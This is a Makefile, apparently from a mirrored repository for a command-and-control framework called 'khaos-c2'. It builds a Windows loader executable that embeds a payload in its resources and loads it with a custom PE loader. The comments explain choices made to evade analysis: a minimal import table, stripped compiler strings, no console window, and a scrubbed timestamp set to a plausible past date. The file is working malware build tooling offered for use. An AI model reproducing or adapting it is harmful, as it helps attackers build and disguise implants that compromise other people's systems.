mirror of
https://github.com/28Zaaky/khaos-c2
synced 2026-07-22 12:18:04 +00:00
28Zaaky
69 lines
2.3 KiB
Makefile
69 lines
2.3 KiB
Makefile
ifeq ($(OS),Windows_NT)
|
|
MSYS2 ?= C:/msys64/mingw64
|
|
CC ?= $(MSYS2)/bin/gcc.exe
|
|
STRIP ?= $(MSYS2)/bin/strip.exe
|
|
OBJCOPY ?= $(MSYS2)/bin/objcopy.exe
|
|
WINDRES ?= $(MSYS2)/bin/windres.exe
|
|
PYTHON ?= python
|
|
export TMP := $(or $(TMP),$(TEMP),C:/Windows/Temp)
|
|
export TEMP := $(TMP)
|
|
else
|
|
CC ?= x86_64-w64-mingw32-gcc
|
|
STRIP ?= x86_64-w64-mingw32-strip
|
|
OBJCOPY ?= x86_64-w64-mingw32-objcopy
|
|
WINDRES ?= x86_64-w64-mingw32-windres
|
|
PYTHON ?= python3
|
|
endif
|
|
|
|
TARGET = loader.exe
|
|
RES_SRC = ../res/loader.rc
|
|
RES_OBJ = loader_res.o
|
|
|
|
# -nostdlib : no CRT — import table = KERNEL32 only
|
|
# -fno-builtin : prevents GCC from emitting implicit memcpy/memset calls
|
|
# -fno-ident : removes GCC version string from .comment
|
|
# -fno-asynchronous-unwind-tables : removes .eh_frame
|
|
# -fno-stack-protector: removes __stack_chk_fail import
|
|
CFLAGS = -O2 -Wall -Wextra -DNDEBUG -DWIN32_LEAN_AND_MEAN \
|
|
-fno-ident -fno-asynchronous-unwind-tables \
|
|
-fno-stack-protector -fno-builtin \
|
|
-Wno-cast-function-type -nostdlib
|
|
|
|
# --entry : custom entry, bypass CRT WinMainCRTStartup wrapper
|
|
# -subsystem : GUI — no console window
|
|
# --no-insert-timestamp : ld skips timestamp (pe_scrub sets a plausible past date)
|
|
# -lkernel32 : VirtualAlloc, ExitProcess, Find/Load/Lock/SizeofResource
|
|
LDFLAGS = -Wl,--entry,WinMainCRTStartup \
|
|
-Wl,-subsystem,windows \
|
|
-Wl,--no-insert-timestamp \
|
|
-lkernel32
|
|
|
|
SRCS = stub.c pe_load.c
|
|
|
|
.PHONY: all clean
|
|
|
|
all: payload_meta.h payload.bin $(RES_OBJ) $(TARGET)
|
|
|
|
# payload.bin is embedded into .rsrc via windres — must exist before $(RES_OBJ)
|
|
$(RES_OBJ): $(RES_SRC) ../res/loader.manifest payload.bin
|
|
$(WINDRES) -i $(RES_SRC) --input-format=rc -o $(RES_OBJ) --output-format=coff
|
|
|
|
$(TARGET): $(SRCS) peb_utils.h pe_load.h payload_meta.h $(RES_OBJ)
|
|
$(CC) $(CFLAGS) -o $@ $(SRCS) $(RES_OBJ) $(LDFLAGS)
|
|
$(STRIP) --strip-all $(TARGET)
|
|
$(OBJCOPY) --strip-debug $(TARGET)
|
|
$(PYTHON) ../../agent/tools/pe_scrub.py $(TARGET)
|
|
@echo "[ok] $(TARGET)"
|
|
|
|
payload_meta.h:
|
|
$(error payload files missing -- run: python build.py --bake-only)
|
|
|
|
payload.bin: payload_meta.h
|
|
|
|
clean:
|
|
ifeq ($(OS),Windows_NT)
|
|
del /Q $(TARGET) $(RES_OBJ) payload_meta.h payload.bin 2>nul & exit 0
|
|
else
|
|
rm -f $(TARGET) $(RES_OBJ) payload_meta.h payload.bin
|
|
endif
|